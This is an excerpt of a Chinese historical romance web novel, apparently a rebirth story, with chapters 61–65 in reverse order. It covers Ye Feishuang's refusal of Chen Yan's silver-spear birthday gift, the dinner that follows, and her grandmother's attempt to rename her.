陈宴望着宁衡的眼神既淡且冷:“她救了你们父子的事,你莫要宣扬,你们璐王府的人自己心里记着她的恩就好。” “为什么啊?” “刺杀你们的人到底是谁派来的,你们查清楚了?” 宁衡挠了挠头:“还没有。” 父王一直很努力在查,可无奈那晚来的都是死士,留下的线索实在太少了。 “敢刺杀当朝亲王,对方会是等闲之辈?倘若那些人恨她坏了事,报复到她头上,不是给她招祸?” 宁衡听得心惊:“我明白了。可对方既然对我和父王下手,必然知道我们被人救了……” “就说是我救的。” 宁衡瞪大眼:“你不怕那些人报复你啊?” 陈宴轻嗤:“好得很,我还怕他们不来。” 宁衡有些崇拜地看着陈宴。 这就是高手的底气吗? 那他也要好好和师父练枪,他也要当高手! 果然,没过几天,郑老太太就和叶绯霜说起了改名的事。 名都拟好了,让她选一个。 一共有三个字:婉,顺,柔。 这是警告她让她以后老实本分,当个温婉柔顺的人呢。 叶绯霜把三张红纸扔回去:“祖母,我不改。” 郑老太太皱眉:“既然回了家,就是我们郑家的姑娘,哪有不改名的道理?你这名字是你在乡下用的,现在不合适了。改了名,你也彻底和从前做个了断,好好学着当个大家闺秀。” 叶绯霜为难地说:“可是……可是永春道人说我这名字特别好,合我的命数,最好不要改。” 郑老太太不耐烦:“什么破神棍,那些下三滥的话你也听?” 卢氏忙道:“母亲,永春道人是璐王殿下的道号。” 郑老太太一愣,想了想,好像还真是。 她脸色有些怪异:“你见过璐王?” “偶然一次机会,跟着陈三郎见过。”叶绯霜乖巧回答,“王爷给我看了看八字,说我……嗯,八字很硬,不过幸亏我名字取得好,合了风雷……” “行了行了。”郑老太太懒得听那些卦象,一个“八字硬”就够让她心惊的了。 八字硬的人一般都命硬,搞不好会克其它人。 她现在是郑府年纪最大的,要是被克了怎么办? “王爷真这么说过?”郑老太太还是有些怀疑。 叶绯霜拿出一张红纸:“祖母请看。” 纸上写了很多道家术语,郑老太太看不懂,但最后一句“此名上佳”她看得懂。 纸上还有“永春道人”的印章,做不得假。 卢氏忙道:“王爷道行深厚,他说五丫头的名好,那就肯定好。母亲,要不还是不改了吧?不然改了之后要是真妨了五丫头的运数或者克了旁人,反而不美了。” 郑老太太最怕自己被克着,急忙让人把那三张纸拿走:“那便罢了。” 叶绯霜遗憾道:“不能得到祖母赐名,实在是孙女没福气。” 郑老太太心里还是有点不高兴。感觉沾上叶绯霜的事,好像就没一件顺顺当当办了的。 保住名字的叶绯霜开心得很。 郑老太太给她赐名无非就是宣誓她上位者的权力,同时让她和以前彻底割席。 她才不呢,她会永远记得养父的恩情,记得乡下的日子。 从鼎福居出去后,和傅湘语擦肩而过,发现她眼睛红红的,眼角泪痕还没干。 叶绯霜问郑茜静:“傅姑娘怎么了?” “嗐,还不是知府家的事吗?曹崖父子今日斩首,女眷流放。她和知府千金曹姑娘关系还不错,替曹姑娘难过呢。” 一听有热闹看,叶绯霜溜上街了。 刑场被看热闹的百姓们围得水泄不通,叶绯霜挤不进去,就去了旁边一家酒楼,站得高点再看。 上边跪了曹崖父子、别院大管家秦鲤、还有府衙几个重犯官员,一共十多个人。 宁衡亲自监斩,坐在那里很是威严。 刽子手手起刀落,鲜血流了一地。 围观百姓们大声叫好,高呼璐王千岁。 没人觉得快过年了见血不吉利,反而觉得这狗官的血让他们的新年红红火火。 叶绯霜长舒一口气,也觉得畅快肆意,毕竟曹崖落马有她一份力。 正准备回家,路过一个房间时,听见里边传来傅湘语的啜泣声:“嘉娘病得厉害,我真怕她在流放路上挺不住……我和她这辈子怕是不能相见了……” 接着便是陈宴那清润温和的嗓音:“曹姑娘吉人天相,傅姑娘切莫太伤心。” “陈公子,我真的太难受了……”傅湘语柔弱的声音十分让人心疼。 叶绯霜促狭心起,忽然很想偷偷看一看房间里边是什么情形。 转而一想,算了,偷窥也太不光彩了,她管人家干什么。 她脚步轻快地离去。 陈宴扫了一眼门口,本就没什么温情的眼神,更是冷得厉害。 第65章 很一般 宁衡尝了口酒,仔细品了品:“和我喝过的千日春好像不太一样。” 郑茜静接话:“五妹妹酿的这坛要偏甜一些,应该加了花蜜。” 卢季同桃花眼一转,看向叶绯霜的眼神顿时变得极其的意味深长。 陈宴喜欢千日春不是秘密,但陈宴嗜甜,这个知道的人还真不多。 这位五姑娘和陈宴接触这么久了,能知道也不稀奇。 特意用甜方子酿一坛千日春,说这酒不是专门为陈宴酿的他都不信。 啧啧,真是用心良苦啊。 卢季同感叹:“合着咱们今儿有口福,都是沾了陈三的光啊!” 他用胳膊肘怼了怼陈宴:“出什么神呢?赶紧尝尝啊,甜口千日春,这不撞你心尖上了?” 叶绯霜僵坐在那里,已经麻木了,但她察觉到陈宴看了她一眼。 陈宴做事惯来斯文,品酒也是慢条斯理的,但是他今天一口气饮尽了一杯。 “怎么样,好喝吧?”卢季同指了指他心口,“是不是甜到心里去了?” 郑茜静忍不住,笑出声了。 傅湘语跟着扯了扯唇角,只是有些违心。 她一直以为这位五姑娘是个粗人,没想到还有这样细腻的心思,还知道酿一坛好酒来讨陈宴欢心。 不过看陈宴的表情,好像对这酒也不怎么满意,怕是她的心思白费了。 宁衡没这些人这么多心思,他只顾着喝酒,他觉得这酒好香,太好喝了,他师父可太厉害了。 转眼间已经三杯下肚,见他又要倒,卢季同哎了声:“我说世子,你也给咱们留点啊!” 靳氏忙道:“还有还有,多着呢,霜儿酿这酒酿的最多了!” 卢季同拖着长音“啊”了一声:“霜儿表妹,干嘛酿这么多千日春啊?” 叶绯霜:“……” 当然因为千日春是她最拿手、酿得最好的。 她酿酒是为了给爹娘饱口福的,肯定要给他们最好喝的啊! 她要是这么说了,卢季同肯定又要贱嗖嗖地问:“那为什么你最拿手的是千日春啊~” 没法解释。 靳氏很快又抱了几坛千日春过来,让大家喝个够。 席间觥筹交错,酒香满院。 大家说说笑笑,唯有陈晏一言不发,一味地喝酒。 好在他素日话就不多,也没人觉得奇怪。 卢季同喝够了,拿了个盒子递给叶绯霜:“霜儿表妹,瞧瞧表哥的生辰礼。” 叶绯霜打开盒子,入目金灿灿的一片。 是一把金如意。 只比她的手掌大不了多少,非常精致。 如意多为玉质,金质的很少见。 卢季同送把金的,是早就看出了她喜欢这些金银俗物。 郑茜静送的是一对成色极好的碧玉翡翠镯。 傅湘语送的是一个文雅的掐丝珐琅花瓶。 就连宁衡也适时摸出一个玛瑙扇坠子给自己撑场子。 卢季同问自打开了席就没说过话的陈宴:“陈三,该你了,你给我霜儿表妹准备了什么生辰礼?” 陈宴又喝完一杯酒,说:“没有。” 席间一静,就连宁衡也停下了吃喝,惊讶地看向他。 倒不是说非得要看他的礼物,而是去别人家里赴宴,备礼是一种礼节。空手而来,是失礼之举。 而这种失礼,是断不该出现在陈宴身上的。 面对大家的惊愕,陈宴笑了一下,然后转向叶绯霜,垂眼没看她,歉意解释:“近日太忙,我有些忘了,改日给你补上。” 叶绯霜说:“不用麻烦。” 意料之中的回答,陈宴没再应声。 靳氏立刻道:“是啊,不用麻烦,都是一家人,不拘什么礼的。” 郑涟也说:“三郎,你教习霜儿,照拂我和她娘,这份心意就比什么礼都重了。” 卢季同懒洋洋地靠在椅子里,脸上还挂着吊儿郎当的笑,只是落在陈宴和叶绯霜之间的眼神不太对劲了。 他确定,这两人中间出问题了。 否则陈宴刚才也不会说不来了。 后来怎么又来了?卢季同扫了一眼正大口吃肉大口喝酒的宁衡。 来了之后,也不说话,都没看彼此一眼。 陈宴是个什么人他再清楚不过了。叶绯霜呢?他也和她认识几个月了,别看她年纪小,但她真不是个小孩子。 这两人能产生什么矛盾?真稀奇了。 傅湘语则是有些雀跃。 看来陈宴对五姑娘,也就那样嘛,没多好,否则也不会连生辰礼都忘了,这就证明根本没把她放在心上。 至于为什么会给她开蒙?傅湘语想,肯定是四房死皮赖脸求的,让陈宴没办法拒绝了。 她顿时觉得自己又有机会了。 一顿饭毕,大家酒足饭饱。 宁衡说自己喝多了,想在落梅小筑歇一歇。 “师父,你耍枪给我看好不好?”宁衡小声问,“我送你的枪你还没用过吧?你使一使,让我看看嘛!” 一听“枪”这个字,叶绯霜下意识看向陈宴。 刚好他也瞟了过来。 那双清润的眼睛里像是覆了一层水色,波光潋滟的。 陈宴就是这样,喝了酒,脸不红气不喘,但是眼睛会变得水润润的,那种高冷的疏离感一下子就削弱了。 前世的叶绯霜特别喜欢在他喝完酒后看他的眼睛,觉得他一双眼实在是太动人了。 陈宴扬了扬唇角,声调很慢:“好啊,让我们都看看,世子到底送了五姑娘怎样一杆好枪。” “对,师父,让他们开开眼界!”宁衡得意地说,“让他们都看看本世子的眼光有多好!” 叶绯霜知道,陈宴今天定要看到那杆枪才会走。 她让小桃把枪拿了出来。 “可以啊。”卢季同摸了摸枪上的花纹,说,“这枪还真挺好看的。” 宁衡喜欢听赞美:“是吧?我挑了好久呢!” 他又问叶绯霜:“师父,你耍给我看好不好?” “今天吃多了,下次吧。” 宁衡挠了挠头,也不强求:“那好吧。” 他又问陈宴:“三郎,怎么样,我这枪不错吧?是不是就这种好枪,才配得上我师父!” 陈宴接过枪,单手转了个枪花,枪刃拂过梅枝,扫下一片落梅。 枪刃穿过纷扬的梅瓣,迅疾如电,直直朝着宁衡刺了过去。 卢季同一抖,叶绯霜也下意识往前迈了一步。 陈宴的枪刃抵着宁衡的鼻尖停下了。 宁衡僵在了原地,一动不敢动,他垂眼看着近在咫尺的利刃,都成了对眼。 “得罪了,世子。”陈宴朝他一笑,收了枪。 卢季同大大松了口气,他真要吓死了。刚才那一刻,他感觉陈宴要杀了宁衡似的。 陈宴把枪杆抵在地上,朝叶绯霜那边一推。 叶绯霜抬手握住,听他给出评价:“很一般。” 第64章 又回来 叶绯霜回到房间,正忙着和阿夏她们一起做饭的靳氏问:“刚谁来了呀?” 叶绯霜也没隐瞒:“是陈宴。” “三郎来啦?”靳氏伸着脖子朝着外边张望,没看见人,“在哪儿呢?快请他进来坐呀,天儿怪冷的。” “走了。”叶绯霜说,“他有事,不在这里吃饭了。” 陈宴走的时候面无表情,但是叶绯霜知道,他生气了,而且非常生气,只不过他的涵养没有让他大发雷霆而已。 陈宴是个骨子里特别高傲的人,况且他的才学、能力、家世,完全撑得起他的高傲。 所以他很不喜欢“被拒绝”。 对于他们这些高高在上的世家公子来说,被拒绝无异于打他们的脸面。 经此一事,陈宴应该能彻底看清她的“不识好歹”,从而和她划清界限。 叶绯霜松了口气,早该如此。 过了年,陈宴就会进京会试,他会进士及第,然后留在京城,开始他的宦海生涯。 而她仍会在荥阳,和他相隔千里,一别两宽。 京城繁花似锦,迷人双眼,想必他们的婚约也很快就能解除。 事情在一步步朝着自己希望的方向发展,叶绯霜感到畅快了不少。 但她还是感到有点点遗憾,那把九曲梅花亮银枪,真是一把顶好顶好的枪,太漂亮了,真的好喜欢啊。 不过前世给她最大的教训就是:不属于自己的东西,千万别强要。 叶绯霜不再想那把和自己无缘的枪,去耳房找酒。 耳房里整整齐齐码着几十个酒坛子,还有很多埋在地里还没挖出来,都是她夏天回来以后就酿的酒。 叶绯霜本来拿了坛扶桑酒出来,想了想,又换成了千日春。 千日春是陈宴最爱喝的酒,当然也是她酿的最好的酒。 今天来给她过生辰的都是她的好朋友,她想用最好的款待大家。 反正陈宴不来了,她拿出千日春也不会显得她别有用心。 很快,郑茜静来了。 她走不了这么远,所以坐软轿来的,没沾上雪。 叶绯霜和她说了一会儿话,卢氏身边的妈妈就来了,给叶绯霜送了很多东西,说卢氏太忙,就不来吃饭了,让大家热闹。 这位妈妈就是之前去别院给叶绯霜送东西、顺便帮她给卢氏传话的妈妈,姓肖,叶绯霜和她已经很熟悉了。 见肖妈妈朝自己使了个眼色,便知她有话对自己说,于是叶绯霜亲自送她出院门。 肖妈妈低声道:“老太太准备给五姑娘改名了。” 流落在外的姑娘回了家,肯定要改回本家名,这是很正常的事情。 她们这一辈,就是男行“文”字辈,女行“茜”字辈。 肖妈妈特意和叶绯霜说这个,就是让她提前给自己准备几个好名字。老太太对她不上心,万一随便赏个不怎么好的名字,多闹心。 叶绯霜点头:“我知道了,谢谢三伯母和妈妈告知。” 前世可没有改名这回事。 郑茜媛他们还用这个嘲笑过她:“知道为什么你都回来这么久了,祖母都没给你改名吗?因为你不配!你不配当我们郑家的姑娘,你就是个小杂种!” 她那时候还难过了好久,她也想要一个郑家姑娘的名字。 现在……叶绯霜撇嘴,白给都不要。 她的名字是养父取的。 养父说是在一棵大枫树下捡到的她,那时候秋末冬初,已经很冷了,她埋在厚厚一堆染了霜的红枫叶中,才没有被冻死。 养父恰好姓叶,便以此给她取名叶绯霜,她喜欢自己的名字。 “师父?”一个声音把叶绯霜唤回神,“师父师父!” 宁衡屁颠屁颠地跑过来,兴高采烈的:“师父,生辰吉乐!” “你怎么来了?” “我正和卢四说事呢,听说你过生辰,我哪有不来的道理?” 叶绯霜点头:“谢谢你能来,不过一会儿进去后别叫我师父,我怕把我爹娘吓着。” 宁衡:“嗯嗯,我都听你的!” 叶绯霜转头,看见卢季同身边那抹白影时,陡然愣住。 一个时辰前拂袖离去的人,怎么又回来了? 陈宴一眼都没看她,闲庭信步地进了落梅小筑里。 靳氏本来以为陈宴不来了,还有点失落,现在见到他,又高兴得不行。 又见到宁衡,知道他是璐王世子,立刻和郑涟一起要给他磕头,被宁衡慌里慌张地拦住了。 开玩笑,师父的爹娘给他磕头,不得折他十年寿? 一张圆桌,主位本来是郑涟的,宁衡来了,便让给他。 宁衡拒绝,他想挨着他师父。 “世子身份最高,当坐主位。”陈宴说,“你若不听安排,四老爷和姨娘不安心,这顿饭吃不好。” 他不轻不重地推了宁衡一把,然后自己在他看中的位置坐下了,正是叶绯霜左手边。 郑茜静:……其实那是她的位置才对。 算了,陈宴是四房未来的女婿,人家一家子挨一块儿更合适。 全都落了座,正准备开席,院内又传来脚步声。 叶绯霜疑惑,她请的人都来齐了啊,这是谁? 下一刻,帘子打起,傅湘语笑着走了进来。 她穿着件鹅黄色的斗篷,颊边一丛绒毛显得她特别俏,头发上还有一层薄雪。 “老太太让我来给五姑娘送生辰礼。”傅湘语说了一大堆吉祥话。 都赶上饭点了,靳氏当然留她,傅湘语也没推脱,挨着郑茜静坐下了。 郑茜静和叶绯霜四目相对,朝陈宴的方向抬了抬下颌。 叶绯霜知道她的意思,笑笑,不在意。 郑老太太的生辰礼随便派个丫鬟来送就好了,哪儿用得着傅湘语冒着大雪亲自跑一趟。 她是为谁来的可想而知。 叶绯霜拿起筷子吃饭,忽然觉得哪里不太对劲。 是因为傅湘语来了让她不自在了?不能啊,她又不介意傅湘语接近陈宴,她巴不得呢。 那是…… 靳氏让小桃给大家倒酒,叶绯霜终于想起了哪里不对劲了! 酒! “大家快尝尝,这是我们霜儿亲手酿的酒,可香了。刚才霜儿挑了半天挑出这一坛来,就是想让大家喝得好呢!”靳氏替自家女儿说好话,“霜儿,你这坛酒叫什么名儿来着?” 叶绯霜:“……” 当着陈宴的面儿,这酒名烫嘴,她说不出口。 她不说,有人替她说。 卢季同好酒,迫不及待就尝了一口,扬眉道:“是千日春!陈三,你最喜欢的千日春!” 这话一出,叶绯霜顿时觉得郑茜静还有爹娘看向自己的眼神变得暧昧了起来。 叶绯霜:“……” 不是你们想的那样。 第63章 他委屈 陈宴都不知道自己是以何种姿态离开的落梅小筑。 他想到了和叶绯霜认识的这大半年。 要不是他主动做了许多事,这几个月,他们大概连一次面都不会见。 因为她会一直避着他。 其实她的态度一直都很明晰——她要退婚。 即便被他拒绝了很多次,她也未曾改变。 陈宴想,可能因为她还不了解他。只要接触得够多,她就会察觉到他的好,转变心意。 但是被拒绝的礼物明明白白昭示着,过去的大半年都白费了。 她对他没有任何改观。 再给他一百个大半年,可能也白费。 “公子,公子!”锦风跟在陈宴身后,一叠声地问,“我先给你重新包扎一下伤口怎么样?” 陈宴猛然顿住了脚步。 他垂眸,才发现半个衣袖已经被血浸透了,还有血顺着手掌流下来,滴在雪地上,洇出点点红痕。 陈宴不说话,也没抬手让锦风包扎,就那么看着地面,像是在出神。 锦风不知道他家公子在想什么,肯定很难受吧。这杆枪耗费了他那么多心力,结果却没送出去。 锦风见惯了自家公子意气风发的样子,从未见过他如此的挫败落寞。 锦风绞尽脑汁安慰他:“公子,可能郑五姑娘真的觉得这杆枪太贵重了,所以才不敢要。你送的东西,她也收过啊。你记得没,你在诗会上送了她一块玉佩,她就收下了啊。” 陈宴轻轻眨了眨眼,缓缓道:“我从未见她戴过。” “肯定好好收起来了,舍不得戴,怕碰坏了。”锦风斩钉截铁地说。 陈宴仰头望着天,长舒了一口气。 “走吧。”他的步子放缓了下来,又恢复了世家子惯有的从容优雅。 转过抄手游廊的时候,听见一个娇俏的声音:“陈公子?” 陈宴转头一看,是郑茜媛。 她面露惊喜,正飞快地朝他走来。 陈宴眯眼盯着她。 锦风疑惑,他家公子盯着郑六姑娘看的时间是不是太长了? 难道他家公子被刺激坏了,把六姑娘认成了五姑娘? 锦风正准备提醒一下,刚一张嘴,就卡了壳。 他家公子哪里是在看郑六姑娘,是在看郑六姑娘腰间挂着的那块玉佩! 质地极好的羊脂玉,一半八卦图的样式,这不是他家公子的玉吗? “陈公子,好巧呀,在这里遇见你。”郑茜媛走近了,笑着说,“祖母刚才还念叨你呢,说你年根了还得给族学里的哥哥们授课,太辛苦了。” 陈宴没回她的话,而是扬起下颌示意她腰间:“哪来的?” 郑茜媛低头一看:“你说这个吗?这是陈公子你的玉呀。” “你二姐送你的?” “不是呀,是我五姐姐送我的。”郑茜媛说,“诗会上,陈公子你送给我五姐姐之后,当时她就立刻转赠我了。她说这么好的玉她配不上,我才配得上。” 当时、立刻。 很好。 锦风:“……” 他刚才说了什么来着?话收回去还来得及吗? 陈宴朝郑茜媛谦和一笑:“我这玉许多人都见过,戴在六姑娘身上不合适,怕于六姑娘清誉有损,六姑娘还我吧。” 郑茜媛愣住了:“啊?” 锦风已经朝她伸出了手。 ……不是都已经送出去了吗?送谁不是送呢?可是陈宴刚刚又给出了理由,郑茜媛不知道该怎么反驳。 只得不情不愿地把玉佩摘下来,不舍地放进锦风手里。 早知道不来打招呼了。 陈宴朝郑茜媛一颔首,抬步离开。 锦风握着这块玉就和握着块烫手山芋似的:“公子,这……” 陈宴接过玉佩,看也不看,随手一掷。 玉佩摔到廊柱上,四分五裂。 锦风缩了缩脖子。 但他是个合格的下属,坚持不懈地开导自家主子:“公子,我觉得六姑娘说得没错,五姑娘可能就是比较自卑,觉得自己配不上好东西,所以什么都不敢收。玉佩不敢收,这杆枪也不敢收。” “自卑?”陈宴听着这俩字都觉得好笑。 她会自卑? “是呀,五姑娘是个庶出的,还是乡下长大的,很多人都看不起她。”锦风挠了挠头,甚至不惜牺牲自己,“属下第一次见她,不是也……咳,不太看得起她吗?不过属下已经改了,现在绝不会了!” 锦风继续道:“这世上就是有那么种人,觉得自己不配好东西。如果今天送这杆枪的不是公子,换做旁人,五姑娘肯定也不好意思收。” 陈宴一言不发地回到了他住的映竹轩里。 刚一进院,就听见了有人在说话。 是宁衡来找卢季同了。 俩人前阵子一直在荥阳府衙办案,很多案子都处理了,还有一些扫尾工作,宁衡就是为这个来的。 “陈三,你可算回来了。”卢季同看见他,“我还等着你一块儿去落梅小筑呢,快着点,别把饭给误了。” 卢季同不知道他已经去过落梅小筑了,只当他从族学里回来的。 陈宴坐到书桌后:“我不去了,你自己去。” 卢季同愣住:“你不去了?今儿可是五姑娘生辰啊,你不去了?” 平时这人往落梅小筑跑得多勤,今儿是大日子,他倒是不去了? “不去,有事。” 宁衡大叫起来:“什么?今儿是我师父生辰?怎么没人告诉我?” 他问卢季同:“我师父请你们吃饭了?怎么没请我呢?” 卢季同哪顾得上搭理宁衡,他只觉得陈宴抽风了。 他走过去,按住陈宴打开的一篇文章:“不是,你怎么不去了啊?啥事能比得上你家五姑娘生辰重要。” 陈宴没说话,长舒了一口气,看向窗外。 被雪色染得更白的日光打在他脸上,显得他的神色也出奇的苍白。 卢季同觉得不对劲:“到底咋回事啊?” 宁衡在屋里转来转去,自言自语:“哎呀,我不知道师父生辰,都没给她准备生辰礼,师父不会觉得我不孝吧?” 转而又道:“幸好我昨天送了师父一杆枪,她还挺高兴的,应该不会生我的气。” 陈宴骤然抬头看向他:“你送了她一杆枪?” “是啊,红缨枪,我找了好久才找到的,可好看了。”宁衡得意地说。 “她收了?” “当然收了。”宁衡觉得陈晏在问废话,“我师父喜欢枪你又不是不知道,她没有不收的理由啊。” 卢季同看了看宁衡,又看了看骤然沉默下来的陈宴。 不知道是不是他的错觉。 他觉得陈宴现在的表情,看起来很…… 委屈。 第62章 她不要 叶绯霜一大早就吃到了靳氏精心准备的长寿面。 一根长长的面条装了一碗,面汤清澈醇香,点缀着嫩绿的葱花,金黄的荷包蛋飘着淡淡的油香。 叶绯霜把满满一碗面都吃掉了,看得靳氏眉开眼笑。 没多久,天空飘起了雪花。 然后越下越大,很快积了厚厚的一层。 外院有两棵红梅树,这几天梅花开得正好。现在有了白雪的点缀,更好看了。 叶绯霜站在树下,周身都被梅香包裹着。 听到脚步声,叶绯霜转头,便见陈宴穿过拱门,缓步而来。 他身上披着一件素白的梅花暗纹鹤氅,衬得他面如冠玉、眉目清冷,仙人似的。 没有料到叶绯霜就在院中,陈宴定住了脚步。 叶绯霜穿了件大红色的袄裙,挽发的红丝带在寒风中飘扬飞舞,眼角和鼻头冻得微红,像是涂了一层胭脂,露出女儿家的娇态。 她站在一棵盛放的梅树下,隔着风雪遥遥望过来。 莫名的,陈宴觉得这个场景有些眼熟,好像在哪里见过似的。 眼前的场景忽然发生了一点变化——普通的小院没变,漫天风雪没变,傲放的老梅树也没变,唯独变的是树下的人。 依然是叶绯霜,但是长大了许多,像二三十岁的样子。高了些,也更瘦了,病容满面,那双漂亮的眼睛里晦暗破败,没有任何神采。 陈宴晃了下头,荒谬的幻觉褪去。 梅树下站着的,依然是一个健康红润的少女。 他上前一步,唤她:“五姑娘。” 清润的嗓音让叶绯霜也骤然回神。 刚刚看到陈宴的一刹那,她仿佛回到了前世,她死掉的那天。 “陈公子。” 面前的人不是前世那个陈大人。 陈宴微一侧头,跟在他身后的锦风走到叶绯霜面前,把怀中抱着的被锦缎包得严严实实的东西递给叶绯霜。 叶绯霜看着这比她还高了许多东西,疑惑:“这是?” “生辰礼。”陈宴扬了扬唇角,有着掩饰不住期待,“看看喜不喜欢。” 叶绯霜揭开锦缎,寒光映衬在她眼中,显得她那双眼睛更亮了。 锦缎滑落,露出通体银白色的长枪。 枪杆外边包裹了一层银,雕刻着梅花暗纹,触手生温。 枪刃长而尖锐,露出刺骨的杀气。一片红梅飘落,刚一触到枪头,便碎成了几瓣。 此枪无缨,握在手中,像是握住了一道银色流光。 是一杆相当漂亮的,九曲梅花亮银枪。 叶绯霜几乎看呆了,她从未想过世上会有这么漂亮的长枪。 陈宴看她上上下下打量着、来来回回抚摸着,便知她对这份礼物相当满意。 他扬起唇角,胸腔被满足感填满。 陈宴走到她身边,故意问:“喜欢么?” 叶绯霜仰头看他。亮银枪的光芒映到了他眼中,他的眸光也是那么亮,亮得堪称温柔。 发间、睫羽上都沾了雪花,明明该显得更清冷,却被他清浅的笑容融化了。 叶绯霜久久看着他。 她想起前世,有一次看他练完剑,她小心翼翼地问他,能不能给自己找根棍子,自己也想练一练,把功夫拾起来。 被他直接拒绝了。 他当时怎么说的? 噢,他说的是:“我不喜欢女子习武,太粗鲁了。” 既然他不喜欢,她就再没提过,连小时候和养父打猎的故事也不敢讲了,怕他觉得粗鲁,更不喜欢自己。 前世她费尽心思都讨不来一丝欢心的人,这一世主动送了她一杆枪。 她怎么会看不出来呢?如此漂亮的枪肯定是陈宴设计的。 这么锋利、这么精致,不知道花了几个月才打出来。 如果前世收到这么一杆枪,她都想象不到自己会欢喜成什么样子。 陈宴脸上的笑容逐渐淡了。 因为叶绯霜又拿那种他看不懂的眼神看他了。 被她这么看着,他竟然有些慌张,方才的期待和喜悦散去大半,被莫名的不安填满。 “这枪很漂亮。”叶绯霜说,“但我不能要。” 陈宴脸上的笑容彻底消失了。 他听到自己顷刻间变得艰涩的嗓音:“为什么?你明明很喜欢。” 她眼中流露出来的惊艳和喜爱是切切实实的,他没有看错。 “太贵重了,我真的不能要。”叶绯霜把枪递给锦风。 锦风呆呆愣愣的,下意识伸手去接,还没太反应过来—— 他家公子被拒绝了? 叶绯霜捡起飘落的锦缎,把长枪重新裹好。 陈宴忽然掐住了她的手腕,迫使她看向自己,再次问:“你再说一遍?你不要?” “是,我不要。” 陈宴眼中情绪渐深,仿佛有暗流涌动。他绷紧了唇角,像是极力压着喷涌而出的怒气,额角的青筋都跳了跳。 锦风终于回过神来,忙道:“郑五姑娘,这敢枪可是我家公子……” “住口。”陈宴喝止了锦风,依旧死死盯着叶绯霜,“你是不能要,还是因为是我送的,所以不想要?” “陈公子,无功不受禄。虽然我生辰,但真的不需要这么贵重的礼物,我还不起。” “不需要你还。” “那也不行。” 宁衡那把枪她能要,那是她用自己教他枪法换来的。 陈宴这把,她没有一丝平白接受的理由。 离得近,所以陈宴把她脸上坚定的拒绝看得清清楚楚。 陈宴咬了下牙,再次问:“如果这杆枪是别人送的,你会要吗?” 叶绯霜迟疑了一下。 就这份迟疑,让陈宴明白了,她会。 因为她真的很喜欢,这可是她从小练到大、用一根稠木杆子替代、不曾拥有过的枪啊。 即便口口声声说贵重,她也会收下,然后想办法还个更贵重的回去。 但送的人变成他,她就半分迟疑都没有了,直接拒绝。 锦风忽然道:“公子……” 陈宴用左手握着叶绯霜的手腕,用力时,小臂上的伤口崩开了,有丝丝血迹顺着他的锦袍透了出来。 在叶绯霜低头前,陈宴松开了她,把手负到身后。 他垂眸看着她,视线冷得厉害。 即便被她提过很多次退婚,但是心里的酸涩和难过,都没有这一刻多。 那么喜欢、那么想要的枪,因为是他送的,就不要了。 他是什么洪水猛兽吗?要让她这么避开。 他深吸一口气,压下心中繁杂的情绪,声音放轻,像是在温柔地诱哄:“这杆枪是我赠你的,不需要你还礼,也不用来和你交换什么。你收下它吧,好不好?” “多谢陈公子的好意。”叶绯霜说,“我不要。” 第61章 送礼物 生辰的前一天,叶绯霜又出了一次府。 当然,这次是依然是女扮男装出去的。 铜宝和她一起,见她径直往八街胡同那边去了,便知道她要去看谁。 “周娘子现在没有住在家里,而是住在客栈里。”铜宝对叶绯霜说,“就是八街胡同口的那家客栈。” 叶绯霜点了点头。 周娘子,就是叶绯霜认识的那个儿子被乔禄害死的了,疯疯癫癫的女人。 她已经为儿子讨回了公道,当然也不用再装作疯疯癫癫了。 叶绯霜看见她的时候,她正在做鞋垫。 叶绯霜拿起几双做好的鞋垫看了看,阵脚细密厚实,鞋垫结实又柔软。 “做得真好。”叶绯霜不吝赞美,“你的手艺真好。” 周娘子笑了笑:“靠手艺换点银子养活自己,日子总要过下去。” 叶绯霜说:“你能这么想就太好了。” “还是要多谢小姑娘你。”周娘子满怀感激地道,“没有你,哪还有我的今天。” 叶绯霜不光给她指了一条明路,帮她给儿子讨回了公道,还救了她一命。 是的,周娘子自尽过。 那是她拿到官府判决书的第二天,上边写了乔禄已经招认,的确害死了他的儿子。 她还收到了一笔不菲的抚恤银子。 但是对于那个时候的周娘子来说,银子其实已经没有多大用处了,因为她不打算继续活下去了。 人就是这样,有的时候就是靠一口气吊着。对于周娘子来说,为儿子讨回公道,就是她的那口气。 有那口气在,不管日子多难,她都能捱过去。 哪怕住茅草屋,哪怕要装得疯疯癫癫,哪怕捡别人扔掉不要的东西吃,只要想着要为儿子讨回公道、要弄明白她儿子的死,她就能一直苟活下去。 可是等公道真的给了,她忽然就不知道自己接下来的日子该怎么过了。 于是她去了儿子的衣冠冢前,烧掉了官府发的公文,然后就投河了。 是被铜宝救起来的。 其实铜宝一直在暗地里跟着她。 这是叶绯霜的命令。 官府的判决下来后,他家姑娘就对他说:“你立刻去暗地里跟着周娘子,保护好她,别让她做傻事。有的时候一口气散了人就容易想不开,等撑过去就好了。” 铜宝不得不说,她家姑娘真的料事如神。 针线篮子底下放着很多老旧的绣线式样,很是精巧,叶绯霜仔细翻看了一会儿,问:“你是绣娘?” “是,以前在绣坊干过活,干得还不错。”周娘子把自己粗糙的双手伸到叶绯霜面前,“但是现在不行了,手太糙了,不能刺绣了,否则容易把线和布给勾坏,只能缝缝鞋垫了。” “这些花样子我都挺喜欢的。”叶绯霜笑道,“我家有几个铺子,其中就有绣坊。以前都是我嫡母管,她人没了,以后可能要我来管了。如果到时候我请你帮忙,你愿意吗?” 周娘子闻言,眼睛一亮:“当然愿意。” 既然打算要活下去了,那就尽可能活得好一些吧。 叶绯霜离开了客栈,寒风扬起她的衣角和发带,远远望去是个很有风骨的小郎君。 周娘子痴痴望着她的背影,在想自己儿子若是活着,是不是也是这样。 不由泪流满面。 叶绯霜又去了醉红尘。 尽管帮他家姑娘往醉红尘送过信,知道了姑娘和这里有联系,但是亲眼看见她这么熟门熟路地进了青楼,铜宝的嘴角还是抽了一下。 叶绯霜直接去找桑彤,巧的是,宁衡也在。 自打叶绯霜叮嘱让宁衡关照清溪后,宁衡就三天两头过来一次,还连桑彤一并关照了,桑彤现在都不用接客了。 宁衡看见叶绯霜,啧啧嘴:“师父,你这么一打扮还真不赖,要是再高点就更像风流小郎君了。” 叶绯霜:“我已经比同龄人高很多了。” 宁衡笔画了一下:“哪有,你还没到我肩膀。” “你又不是我同龄人。”叶绯霜无语,“我还能长。” 按照前世来看,她的个头还能蹿一大截。这辈子勤加习武,说不定能长得更高。 清溪缩在桑彤身边,歪头看着他们两个比个头。觉得有意思,笑了起来。 宁衡一看过来,他立刻不敢笑了,使劲儿往桑彤身边缩了缩。 虽然和宁衡经常见面,但还是没熟悉起来,清溪比较怕他,觉得他长得和那些欺负自己的人一样。 但是他不怕叶绯霜,即便他和叶绯霜只见过一面。 